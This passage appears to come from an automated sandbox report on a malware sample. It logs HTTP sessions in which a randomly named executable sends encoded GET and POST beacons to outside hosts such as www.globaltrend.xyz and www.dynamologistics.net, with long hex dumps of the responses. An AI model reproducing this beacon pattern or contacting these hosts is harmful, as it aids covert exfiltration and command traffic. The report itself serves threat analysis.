6d 75 56 36 38 47 63 4a 4e 49 31 77 77 53 78 59 50 39 76 65 42 4b 33 2f 78 33 45 6e 6d 6f 4f 59 35 57 54 4a 37 4a 75 52 49 49 2b 5a 34 68 6c 51 61 30 4c 6c 30 4b 39 36 69 78 56 43 71 36 32 59 4c 33 6d 6b 6c 2f 43 31 2f 38 63 51 2f 51 52 46 4c 4e 31 51 31 53 2f 7a 75 37 31 72 35 74 77 43 4b 33 68 62 51 52 66 37 46 31 68 79 42 65 46 70 55 39 37 66 4b 34 4c 62 [TRUNCATED] Data Ascii: lv-=WN+Zz8ign4CoXg1uCyfgFSLT9noR6MmQXQwWJeaAscPwUYBEvnhiQPOmRnuGNt0o50ZcTc618nM5EP5ypYeWhpyEpkFBSwkcKSjdodxPC0X8A7munY6cejLwEqZ2k9ATMSqhRSncuoB8dG5XXgBQG/mHcExbpAqwyL23jV1aiq+6bSB2VsDYjniOh8ZlmOkD0v51MZlHH1/myIYCiQywVwmuV68GcJNI1wwSxYP9veBK3/x3EnmoOY5WTJ7JuRII+Z4hlQa0Ll0K96ixVCq62YL3mkl/C1/8cQ/QRFLN1Q1S/zu71r5twCK3hbQRf7F1hyBeFpU97fK4LbNAuR3jAxfIP+Mru/5Hdq/x0x9b32nW22Qf1zPjrMCWTGdVWhCny//JD46puk/ew4QbBzVc3FWClQQo3h70rUeuCdEpimyIQ6ofDecubaV4hiFFeQN2WuzQO/OmmzjNmIGZfgHkT7P1Jl7WWtHDoiEtVGakmm3najiZwZ1V+K/C+sIOybZwHmzpQH01b2mR5l+vmuoqqLRtwfP6lOTw8fvdq1T4LfhpinC0jfrembyJOKVlu2HXexlqhci2yG+rACXgg2ddXO9nkzqyL2ktItNB2KVzjRq+hhDr8OLDrKiDWG50wn3rtjLQkHsrpmv5HL20KUsy3MZIQ1vKQE66wur4AzdSic4TUqi1lGmN9+QQvfJJh4RgufBMaCgmcdV5miuN0LAtvbK4VecYLW/WR/7OXikZZBZJsOcramHJqhtUO0olc3bLbElXW/fATATzrdi8Jv+a/nSX8cHDHqy2FzIsmCOAgvAGyf3j8wTGsUUCnnAy1GOdRZCts8ti3WLsppadPDFlfxlwfp0QFtXFqgZeiHvt6JOX+ZlrArSLpRP+7jrSns+e7tMXXYwbiOK9T/uaQFxcSKL4wIqqQWOynQMqK7LOhWhpOL26/AJKKQ/edVJeoRKgsT0Ynih90urOTA4eSAsqLAcegEIuMITIG6QZVJtN8kNqs+iz [TRUNCATED]
Jul 9, 2024 12:09:22.229559898 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 09 Jul 2024 10:09:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Httpd-Modphp: 1 Host-Header: 8441280b0c35cbc1147f8ba998a563a7 X-Proxy-Cache-Info: DT:1 Content-Encoding: gzip Data Raw: 34 62 39 65 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 7d 5b 73 1c b7 9a e4 fb f9 15 bd 9c d8 38 7b e9 6e d5 ad eb a2 23 79 d7 e3 99 89 f3 40 cf ec 2d bc b1 7e 71 b4 c8 96 c8 3d 2d 52 26 29 c9 3e 13 f3 df 37 3f 7c 99 a8 2a 14 d9 0d 3b 66 f7 69 ed 10 9b ec 2c 7c 89 02 32 01 14 50 85 7a f3 6f fe ee 9f be fb 1f ff eb bf fc fd ea e6 e9 e3 f1 9b 3f bc b1 8f d5 71 7f f7 e1 ed c5 e1 ee c2 be 38 ec af bf f9 c3 0a ff bd f9 78 78 da af ae 6e f6 0f 8f 87 a7 b7 17 9f 9f de 6f fa 8b d5 ab 29 78 b7 ff 78 78 7b f1 e5 f6 f0 f5 d3 fd c3 d3 c5 ea ea fe ee e9 70 87 83 bf de 5e 3f dd bc bd 3e 7c b9 bd 3a 6c c2 1f eb d5 ed dd ed d3 ed fe b8 79 bc da 1f 0f 6f cb 6d 01 ba 91 e7 e6 e9 e9 d3 e6 f0 f3 e7 db 2f 6f 2f ae f6 57 37 87 8d 05 7b b8 3f 4e a2 de dd 6f 1e 9f ee 1f 0e eb 8f fb 5f 36 fb 0f 87 b7 c5 b3 f9 79 b8 7f 77 ff f4 38 4b 77 7b 77 7d f8 65 3c f8 e9 f6 e9 78 f8 a6 29 9a d5 66 f5 8f f7 4f ab f7 f7 9f ef ae df bc f2 af 3d 53 c7 db bb bf ac 6e 1e 0e ef df 5e 58 d6 1e 5f bf 7a f5 1e 19 7a dc 7e b8 bf ff 70 3c ec 3f dd 3e [TRUNCATED] Data Ascii: 4b9e}[s8{n#y@-~q=-R&)>7?\|;fi,\|2Pzo?q8xxno)xxx{p^?>\|:lyom/o/W7{?No_6yw8Kw{w}e<x)fO=Sn^X_zz~p<?>n?z\|OoOwXwEo^_\O7x?9[exa7zxP5a%w$n^:kB^8<YF8;YM(0tr#9<?}>#H$<vDKT=fyW`\|}Z]=xzDbP?)C Fy X*y+Pj6XoI\}@+^=Bm!> >l&\|5@1c\|n?\|\|BhG?[{-4yYZKJZOldrlOTXUul6>Y=??M5t}=\11
Jul 9, 2024 12:09:22.229598999 CEST	1236	IN	Data Raw: 34 e3 10 ca cd fe d3 01 79 31 2f 3d ae 1e bf 7c 98 64 e8 fa f6 f1 d3 71 ff 2b da de e3 fd d5 5f 5c c8 4c 8d 1c a2 e9 bc 7a da dc ec 8f ef 37 d7 f7 4f 9b cd d5 ed c3 d5 71 da 74 fd 75 13 ba 9c 79 b3 19 9b b3 97 ce b1 dc 1d 3e 8e 9e 79 f1 34 eb 22 Data Ascii: 4y1/=\|dq+_\Lz7Oqtuy>y4"zz9o\|@ss{59r3`'9;_=^= M>'tduwwl'*k%a7y7rr}eu{=_zqTpC9c=C?L
Jul 9, 2024 12:09:22.229615927 CEST	1236	IN	Data Raw: 49 2e ec 54 0a 74 09 38 a4 a9 f6 68 7b ba 1e bf db cf 50 a8 a6 b6 1e 4d 4e dd e3 a4 bb 6d 07 bf 21 17 68 23 63 11 43 a0 a8 26 14 63 55 41 0e 66 5a e8 27 ca 61 f3 82 1c fc b8 93 45 80 6e b0 eb 6b 84 83 0f e0 22 54 1c fa 59 d4 e1 7e 3b f4 68 ae 7a Data Ascii: I.Tt8h{PMNm!h#cC&cUAfZ'aEnk"TY~;hzk;kn*VFHlcG\~^~8dQAceE!Vdg,<@>b<6_%~]8U@;8AhoYufn<TP:+r51.5
Jul 9, 2024 12:09:22.230041027 CEST	1236	IN	Data Raw: 2b ec b9 28 91 36 fc f5 2d 3e 31 9f e4 3f 2d 13 98 50 52 8a d3 85 65 13 09 0d 2e b6 6d ea a0 7f a1 14 ec 3c d0 82 a2 23 a9 86 c9 99 a0 ea 50 50 38 95 f6 cc 70 1c 1d 87 0d db 07 cc 12 4c c7 f2 93 f4 1d 8a a2 ea d1 be a2 01 30 d9 98 d5 5a c9 66 87 Data Ascii: +(6->1?-PRe.m<#PP8pL0Zf<VJa_q(L3&-R"v,X=]Y<`!2B.Y0;9pv2RPsP$\0y~Ao[}UG\U&~ul&@NLhxQiv[9}6 @<
Jul 9, 2024 12:09:22.230057955 CEST	1236	IN	Data Raw: 4f 16 96 16 ad 2c ab 9a 81 25 12 67 4d 30 b6 2f d3 84 67 45 81 2b 97 5d 8b 6a 96 28 6c ed d3 1a 29 a9 42 b8 54 81 b9 60 74 8d 4b 3c 53 16 0a 27 59 88 4e 15 2f 5c ba 10 5d 8a 67 0a 43 e1 24 0c d1 a9 ea 85 4b 19 a2 4b f1 4c 69 30 9c a4 41 36 55 bf Data Ascii: O,%gM0/gE+]j(l)BT`tK<S'YN/\]gC$KKLi0A6UPj\)'D=Hym2Aa<z,du<D.y.3pT%x<N W$2F)%`<gT.1/<6%[Rmx!.Uq!IR++
Jul 9, 2024 12:09:22.230072975 CEST	1236	IN	Data Raw: a8 70 9d ca 0c c3 7e 49 7c 58 fd a5 3b 14 b8 2a 26 4d fb aa 18 55 2b 8c 92 f6 a5 b8 04 cb 53 34 23 49 d1 ce 22 c9 12 94 a0 9d 26 01 33 f5 cc 50 d2 b3 f3 48 b0 ca 04 9b 70 e7 49 c0 4c 35 33 94 d4 ec 3c 92 ab 40 36 e0 ce 93 82 79 5a 66 28 69 d9 79 Data Ascii: p~I\|X;&MU+S4#I"&3PHpIL53<@6yZf(iyV\|;M)dVEv1#A<y3^'s1RHs1/tP1yU24S%%IjU>(e2%hKZ&b&Sf2IB]$J<=3L"V MS4CA:-u3(McTn@
Jul 9, 2024 12:09:22.230088949 CEST	1236	IN	Data Raw: 34 14 4d d2 20 99 6a 5e b0 94 41 b2 14 7e 41 18 b1 df 0d 51 b1 13 8d dd d6 16 66 b4 6c 3f 2d cc 68 61 58 bd 2b ad 63 c5 e6 3b b6 03 5a 98 c9 aa 30 20 c7 3c 56 8f 1d 27 31 ad 65 3b 2a 55 ad ed 74 1b ea 60 6d aa 5a ce 6a 45 a6 01 b7 18 d8 16 31 d8 Data Ascii: 4M j^A~AQfl?-haX+c;Z0 <V'1e;Ut`mZjE1~ndliLa0\HbS {D\|W)6^bw1j.h6`edi}0M{c4@@o${AQHQ2kcmPJN#F
Jul 9, 2024 12:09:22.230199099 CEST	1236	IN	Data Raw: 79 90 2b 45 f3 e4 c1 58 92 47 60 d2 d6 1d aa 33 f4 13 61 1f 4a 12 51 1e b3 94 e7 ba 8f 12 77 03 f8 4e 4f 9c 40 c6 0d 01 78 03 d7 58 fd c2 25 1f dc 43 d2 4c 1a 17 c1 ae 9e 6c 36 d5 be d8 54 fb 0a 27 f5 90 2d 85 3d 79 36 9b 2a 5f 6c aa 7c b1 49 3c Data Ascii: y+EXG`3aJQwNO@xX%CLl6T'-=y6*_l\|I<dKaOd%8UI't<dslX5 ~E:#3i}t{R<S1O-:;UpiCt))8#+q+ScI)0A"c<P \|9t{ \|{=
Jul 9, 2024 12:09:22.230215073 CEST	1236	IN	Data Raw: bf ed dd b3 da b6 c2 a7 ac 6a 9b 71 31 65 43 cf 5b cc 07 54 93 77 df bd 24 62 9c ab 4d c9 4b a7 9c df a5 4e 05 06 9d 62 55 27 4c c7 27 58 10 f8 c2 7a c9 38 45 33 ff 52 29 69 a4 52 f2 48 e1 ce 93 80 9e 34 97 48 4d 2d 89 24 52 12 49 e0 4e 94 80 9e Data Ascii: jq1eC[Tw$bMKNbU'L'Xz8E3R)iRH4HM-$RIN4HH%D)K{<v,$'-e.v!$Jii,$<OK>agMS6l\|-$H(r[GfRN<A3MiMTb%DKT&SfJ$i2#)44aR4OEMH
Jul 9, 2024 12:09:22.230230093 CEST	1236	IN	Data Raw: b8 4d 20 67 b2 62 66 3d f5 59 32 f8 d1 5e ae 17 f3 8a 72 b4 97 f3 c5 73 c1 74 88 ed 23 b8 c0 25 92 79 fa b3 74 0a c7 73 11 9b 4e 55 d1 52 98 a7 3a 4b bd e0 8a 9a f0 8d f4 b0 1d 26 ae 9a 82 22 b0 65 16 06 31 65 03 05 74 2d f6 c9 c4 e2 cb cf d8 c5 Data Ascii: M gbf=Y2^rst#%ytsNUR:K&"e1et-p*o&-^,CHDCi3khRK=yO~q-o`A}zkE62z/>@2NI_,rXKK}p8%]x_d%[t6kcYv;p-
Jul 9, 2024 12:09:22.238671064 CEST	1236	IN	Data Raw: b9 e1 74 62 32 94 b8 38 fb 18 b9 16 78 8e e1 14 4c 86 13 99 0c 15 71 1a 4e c5 b8 c0 f3 0c c7 15 76 f9 4b eb ef f2 97 60 da 4b 0b f0 29 9c d7 bd 31 98 cc 26 2e 99 49 30 3b 37 71 a5 70 9e d5 3c 58 74 9a b8 e4 24 72 c9 68 e2 9a c3 b9 3e 23 97 6c 46 Data Ascii: tb28xLqNvK`K)1&.I0;7qp<Xt$rh>#lFh#e_"3M`d"e%#UfviMTtP%(xK<r@f"Jo1%&YG0%3tCqZ*eZyR8KtrO.-<{1\d `K\N#]pd[&S8LtpdbKL)&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	49731	35.212.86.52	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:09:24.363899946 CEST	571	OUT	GET /s992/?GJtTF=-FH8yJw&lv-=bPW5wL+6+Zn0FmJaaGSlZRyF0EkywNPIdxoHB7misPGpWoJmvT99WPeeVFPeE+QW7lFzZIe3p3wvC9c3tru/to3skHw9ZCkuDTXhooUuE0PnQLiimQ== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.dynamologistics.net Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Jul 9, 2024 12:09:24.824593067 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 09 Jul 2024 10:09:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Httpd-Modphp: 1 Host-Header: 6b7412fb82ca5edfd0917e3957f05d89 X-Proxy-Cache: MISS X-Proxy-Cache-Info: 0 NC:000000 UP: Data Raw: 31 33 64 35 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 73 74 6f 72 65 2c 6d 61 78 2d 61 67 65 3d 30 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 [TRUNCATED] Data Ascii: 13d5a<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="cache-control" content="no-store,max-age=0" /> <meta name="robots" content="noindex" /> <title>404 - Not found</title> <link href="https://fonts.googleapis.com/css?family=Open+Sans:400,700%7CRoboto:400,700" rel="stylesheet"><style> * { box-sizing: border-box; -moz-box-sizing: border-box; -webkit-tap-highlight-color: transparent; } body { margin: 0; padding: 0; height: 100%; -webkit-text-size-adjust: 100%; } .fit-wide { position: relative; overflow: hidden; max-width: 1240px; margin: 0 auto; padding-top: 60px; padding-bottom: 60px; padding-left: 20px; padding-right: 20px; } .background-wrap { positi
Jul 9, 2024 12:09:24.824619055 CEST	1236	IN	Data Raw: 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 20 7d 0a 20 20 20 20 2e 62 61 63 6b 67 72 6f 75 6e 64 2d 77 72 61 70 2e 63 6c 6f 75 64 2d 62 6c 75 65 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 62 30 65 30 65 39 3b 20 7d 0a 20 20 20 Data Ascii: on: relative; } .background-wrap.cloud-blue { background-color: #b0e0e9; } .background-wrap.white { background-color: #fff; } .title { position: relative; text-align: center; margin: 20px auto 10px; }
Jul 9, 2024 12:09:24.824639082 CEST	1236	IN	Data Raw: 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 20 20 20 20 7d 0a 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 20 7b 0a 20 20 20 20 20 20 20 20 2e 65 72 72 6f 72 Data Ascii: margin: 0 auto; } @media screen and (max-width: 767px) { .error--bg__cover { display: none; } .abstract-half-dot--circle { left: 0; } }</style></head><body> <div id="container"> <section class="err
Jul 9, 2024 12:09:24.824793100 CEST	1236	IN	Data Raw: 36 37 71 2d 2e 31 33 2c 30 2d 2e 32 36 31 2c 30 61 39 2e 39 33 33 2c 39 2e 39 33 33 2c 30 2c 30 2c 31 2d 36 2e 39 39 34 2d 33 2e 31 30 38 68 30 61 31 30 2c 31 30 2c 30 2c 31 2c 31 2c 37 2e 32 35 35 2c 33 2e 31 31 5a 6d 2d 2e 30 31 33 2d 31 38 61 Data Ascii: 67q-.13,0-.261,0a9.933,9.933,0,0,1-6.994-3.108h0a10,10,0,1,1,7.255,3.11Zm-.013-18a8,8,0,0,0-5.793,13.511h0a8,8,0,1,0,6-13.509C750.134,449,750.063,449,749.994,449Z" fill="#226d7a"/><path d="M292.416,254.312a1.013,1.013,0,0,1-.417-.09L266.634,24
Jul 9, 2024 12:09:24.824807882 CEST	1236	IN	Data Raw: 35 35 35 2c 31 2e 39 32 32 5a 4d 31 30 37 2c 32 32 38 61 35 2c 35 2c 30 2c 31 2c 31 2d 35 2c 35 41 35 2e 30 30 36 2c 35 2e 30 30 36 2c 30 2c 30 2c 31 2c 31 30 37 2c 32 32 38 5a 22 20 66 69 6c 6c 3d 22 23 32 32 36 64 37 61 22 2f 3e 3c 70 61 74 68 Data Ascii: 555,1.922ZM107,228a5,5,0,1,1-5,5A5.006,5.006,0,0,1,107,228Z" fill="#226d7a"/><path d="M74.783,225.467l8.647,2.5a.989.989,0,0,0,.278.04,1,1,0,0,0,.276-1.962l-8.646-2.5a1,1,0,0,0-.555,1.922Z" fill="#226d7a"/><path d="M28.617,241.8a1,1,0,0,0,.7-.
Jul 9, 2024 12:09:24.824824095 CEST	1236	IN	Data Raw: 31 2c 31 2c 30 2c 30 2c 30 2d 2e 35 35 34 2c 31 2e 39 32 32 6c 38 2e 36 34 36 2c 32 2e 35 61 31 2c 31 2c 30 2c 30 2c 30 2c 2e 32 31 36 2e 30 33 31 2c 37 2c 37 2c 30 2c 31 2c 30 2c 31 31 2e 39 38 2d 33 2e 32 6c 36 2e 30 30 36 2d 35 2e 38 32 35 61 Data Ascii: 1,1,0,0,0-.554,1.922l8.646,2.5a1,1,0,0,0,.216.031,7,7,0,1,0,11.98-3.2l6.006-5.825a1,1,0,1,0-1.392-1.435ZM81,334a5,5,0,1,1,5-5A5.006,5.006,0,0,1,81,334Z" fill="#226d7a"/><path d="M103.687,304.486l-6.461,6.266a1,1,0,0,0,1.393,1.436l6.461-6.266a1
Jul 9, 2024 12:09:24.824842930 CEST	1236	IN	Data Raw: 4d 38 38 36 2e 39 38 33 2c 31 36 32 2e 37 37 33 61 31 2c 31 2c 30 2c 30 2c 30 2c 2e 39 35 31 2d 31 2e 33 31 31 6c 2d 32 2e 38 2d 38 2e 35 35 35 61 31 2c 31 2c 30 2c 30 2c 30 2d 31 2e 39 2e 36 32 31 6c 32 2e 38 2c 38 2e 35 35 35 41 31 2c 31 2c 30 Data Ascii: M886.983,162.773a1,1,0,0,0,.951-1.311l-2.8-8.555a1,1,0,0,0-1.9.621l2.8,8.555A1,1,0,0,0,886.983,162.773Z" fill="#226d7a"/><path d="M879.544,135.8a1,1,0,1,0-1.9.621l2.795,8.555a1,1,0,0,0,.951.69,1,1,0,0,0,.95-1.311Z" fill="#226d7a"/><path d="M90
Jul 9, 2024 12:09:24.825164080 CEST	1236	IN	Data Raw: 32 61 31 2c 31 2c 30 2c 31 2c 30 2c 31 2e 36 2d 31 2e 32 5a 22 20 66 69 6c 6c 3d 22 23 32 32 36 64 37 61 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 39 36 32 2e 36 2c 32 34 30 2e 38 41 31 2c 31 2c 30 2c 30 2c 30 2c 39 36 31 2c 32 34 32 6c 35 2e 34 2c Data Ascii: 2a1,1,0,1,0,1.6-1.2Z" fill="#226d7a"/><path d="M962.6,240.8A1,1,0,0,0,961,242l5.4,7.2A1,1,0,0,0,968,248Z" fill="#226d7a"/><path d="M931.091,198.789a6.943,6.943,0,0,0,1.777-6.129l7.473-4.185a1,1,0,1,0-.977-1.745l-7.172,4.016a6.988,6.988,0,0,0-1
Jul 9, 2024 12:09:24.825177908 CEST	1224	IN	Data Raw: 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 39 38 32 2c 32 36 31 61 36 2e 39 34 31 2c 36 2e 39 34 31 2c 30 2c 30 2c 30 2d 33 2e 35 32 37 2e 39 36 34 4c 39 37 33 2e 34 2c 32 35 35 2e 32 61 31 2c 31 2c 30 2c 31 2c 30 2d 31 2e 36 2c 31 2e 32 6c 35 2e 31 30 Data Ascii: /><path d="M982,261a6.941,6.941,0,0,0-3.527.964L973.4,255.2a1,1,0,1,0-1.6,1.2l5.109,6.812A6.99,6.99,0,1,0,982,261Zm0,12a5,5,0,1,1,5-5A5.006,5.006,0,0,1,982,273Z" fill="#226d7a"/><path d="M19,32H11V24a1,1,0,0,0-2,0v8H1a1,1,0,0,0,0,2H9v8a1,1,0,0
Jul 9, 2024 12:09:24.825195074 CEST	1236	IN	Data Raw: 2e 32 33 35 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 34 35 2e 37 34 32 20 39 38 2e 34 32 39 20 31 34 37 2e 35 38 31 20 39 36 2e 33 31 36 20 31 34 35 2e 37 34 32 20 39 34 2e 32 30 32 20 31 Data Ascii: .235" fill="#fff"/><polygon points="145.742 98.429 147.581 96.316 145.742 94.202 143.904 96.316 145.742 98.429" fill="#fff"/><polygon points="145.742 86.624 147.581 84.51 145.742 82.396 143.904 84.51 145.742 86.624" fill="#fff"/><polygon point
Jul 9, 2024 12:09:24.829843044 CEST	1236	IN	Data Raw: 36 2e 32 38 38 20 38 32 2e 33 39 36 20 31 36 34 2e 34 35 20 38 34 2e 35 31 20 31 36 36 2e 32 38 38 20 38 36 2e 36 32 34 20 31 36 38 2e 31 32 38 20 38 34 2e 35 31 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e Data Ascii: 6.288 82.396 164.45 84.51 166.288 86.624 168.128 84.51" fill="#fff"/><polygon points="176.563 129.621 174.724 131.734 176.563 133.848 178.401 131.734 176.563 129.621" fill="#fff"/><polygon points="176.563 117.814 174.724 119.928 176.563 122.04

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.9	49732	188.114.97.3	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:09:30.239032030 CEST	832	OUT	POST /srh8/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.globaltrend.xyz Content-Length: 192 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.globaltrend.xyz Referer: http://www.globaltrend.xyz/srh8/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 46 53 77 6f 4f 6d 71 72 38 59 6f 46 4d 68 41 43 58 63 44 47 53 4d 4a 4c 57 50 30 4e 37 6b 39 38 4e 54 64 4c 46 55 79 51 76 48 31 36 42 73 6d 74 57 47 6f 63 42 4e 75 6c 38 39 37 30 55 66 47 36 74 71 74 6c 62 7a 64 36 46 6f 59 76 6e 36 4a 54 59 7a 2f 76 54 58 48 35 43 2f 64 79 52 55 6d 57 52 65 49 47 6b 55 59 35 73 56 59 44 35 41 6a 46 55 67 62 50 77 42 46 57 38 57 57 78 52 68 55 78 58 6b 68 49 51 67 41 61 37 4d 53 34 54 62 66 53 37 65 52 6f 74 59 6c 48 37 6c 6a 47 31 4d 32 4c 48 79 4b 6a 72 77 42 6c 61 4c 50 2b 35 6e 7a 54 6a 6a 41 6e 6b 76 2f 39 43 6a 4e 59 Data Ascii: lv-=FSwoOmqr8YoFMhACXcDGSMJLWP0N7k98NTdLFUyQvH16BsmtWGocBNul8970UfG6tqtlbzd6FoYvn6JTYz/vTXH5C/dyRUmWReIGkUY5sVYD5AjFUgbPwBFW8WWxRhUxXkhIQgAa7MS4TbfS7eRotYlH7ljG1M2LHyKjrwBlaLP+5nzTjjAnkv/9CjNY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.9	49733	188.114.97.3	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:09:32.817975044 CEST	856	OUT	POST /srh8/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.globaltrend.xyz Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.globaltrend.xyz Referer: http://www.globaltrend.xyz/srh8/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 46 53 77 6f 4f 6d 71 72 38 59 6f 46 65 30 49 43 53 37 66 47 44 38 4a 4d 54 50 30 4e 67 30 39 34 4e 54 52 4c 46 56 47 2b 76 53 46 36 43 4d 32 74 58 48 6f 63 52 64 75 6c 75 64 37 6f 4a 50 47 68 74 71 70 74 62 78 4a 36 46 6f 38 76 6e 37 35 54 59 45 4c 6f 53 48 48 2f 61 50 64 30 4f 6b 6d 57 52 65 49 47 6b 55 39 6b 73 56 77 44 35 54 72 46 62 68 62 49 7a 42 46 56 73 6d 57 78 41 78 55 39 58 6b 68 71 51 69 6b 38 37 4f 61 34 54 61 76 53 2f 66 52 72 2b 34 6c 46 33 31 69 35 79 70 54 42 4a 67 32 67 31 44 74 6e 4f 39 4c 68 33 6d 54 4e 79 52 4a 38 78 34 2f 61 46 45 45 77 71 58 71 66 38 5a 50 43 77 6d 38 49 61 2f 4d 2f 77 38 4d 4b 5a 67 3d 3d Data Ascii: lv-=FSwoOmqr8YoFe0ICS7fGD8JMTP0Ng094NTRLFVG+vSF6CM2tXHocRdulud7oJPGhtqptbxJ6Fo8vn75TYELoSHH/aPd0OkmWReIGkU9ksVwD5TrFbhbIzBFVsmWxAxU9XkhqQik87Oa4TavS/fRr+4lF31i5ypTBJg2g1DtnO9Lh3mTNyRJ8x4/aFEEwqXqf8ZPCwm8Ia/M/w8MKZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.9	49734	188.114.97.3	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:09:35.406910896 CEST	1869	OUT	POST /srh8/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.globaltrend.xyz Content-Length: 1228 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.globaltrend.xyz Referer: http://www.globaltrend.xyz/srh8/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 46 53 77 6f 4f 6d 71 72 38 59 6f 46 65 30 49 43 53 37 66 47 44 38 4a 4d 54 50 30 4e 67 30 39 34 4e 54 52 4c 46 56 47 2b 76 53 4e 36 42 2b 4f 74 52 67 30 63 53 64 75 6c 31 64 37 72 4a 50 48 78 74 71 52 70 62 78 31 45 46 75 34 76 6e 5a 78 54 4a 51 58 6f 59 48 48 2f 47 2f 64 78 52 55 6e 65 52 65 59 61 6b 55 4e 6b 73 56 77 44 35 53 37 46 53 51 62 49 31 42 46 57 38 57 57 39 52 68 55 5a 58 67 30 58 51 69 78 42 34 